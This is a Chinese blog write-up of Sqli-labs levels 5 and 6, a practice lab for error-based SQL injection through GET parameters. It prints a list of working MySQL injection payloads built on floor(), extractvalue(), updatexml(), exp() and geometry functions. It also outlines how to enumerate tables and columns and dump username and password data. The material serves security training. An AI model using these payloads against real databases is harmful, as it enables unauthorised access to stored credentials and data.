zoukankan      html  css  js  c++  java
  • SQL注入之Sqli-labs系列第五关和第六关(基于GET型的报错注入)

     废话不在多说  let's go!  

    开始挑战第五关(Double Query- Single Quotes- String

    第六关(Double Query- Double Quotes- String

     

    首先访问我们的环境,加入id参数,输入 ' 出现报错,对报错信息进行分析

     

    从上图很明显,直接利用单引号进行闭合,输入and 1=1 和1=2进行报错测试

    继续使用order by进行查询字段,正确的为3个字段数 

    union select联合查询,加入-号进行报错,

    靠,没有任何的反应,这就有有些触及知识盲区了,通过网站查询资料,发现可以使用报错函数进行注入,这里列出几个,都是从网上直接copy过来的

    1.floor()
    id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a)

    2.extractvalue()
    id = 1 and (extractvalue(1, concat(0x5c,(select user()))))

    3.updatexml()
    id = 1 and (updatexml(0x3a,concat(1,(select user())),1))

    4.exp()
    id =1 and EXP(~(SELECT * from(select user())a))

    5.有六种函数(但总的来说可以归为一类)

    GeometryCollection()
    id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

    polygon()
    id =1 AND polygon((select * from(select * from(select user())a)b))

    multipoint()
    id = 1 AND multipoint((select * from(select * from(select user())a)b))

    multilinestring()
    id = 1 AND multilinestring((select * from(select * from(select user())a)b))

    linestring()
    id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

    multipolygon()
    id =1 AND multipolygon((select * from(select * from(select user())a)b))

    这里我采用floor函数进行测试,对里面的几个函数进行解释下,以下是自己做的笔记,这里我就不一一的去数据库进行测试了

     

    既然有了sql语句,那就直接上了,查询版本,数据库

    继续爆表名,这里采用limit一行一行的看

     

    开始爆字段名,这里得到username和password

    爆数据

     

    第六关是一样的,采用双引号进行闭合即可,其他操作一致

     

  • 相关阅读:
    java静态导入
    java导出javadoc文档
    Java编程规范
    Java谜题——类谜题(二)
    JS注意事项
    JS——实现短信验证码的倒计时功能(没有验证码,只有倒计时)
    Java网络通信——XML和JSON
    JS基础知识——定时器
    JS的事件动态绑定机制
    JS基础知识(五)
  • 原文地址:https://www.cnblogs.com/AmoBlogs/p/8666710.html
Copyright © 2011-2022 走看看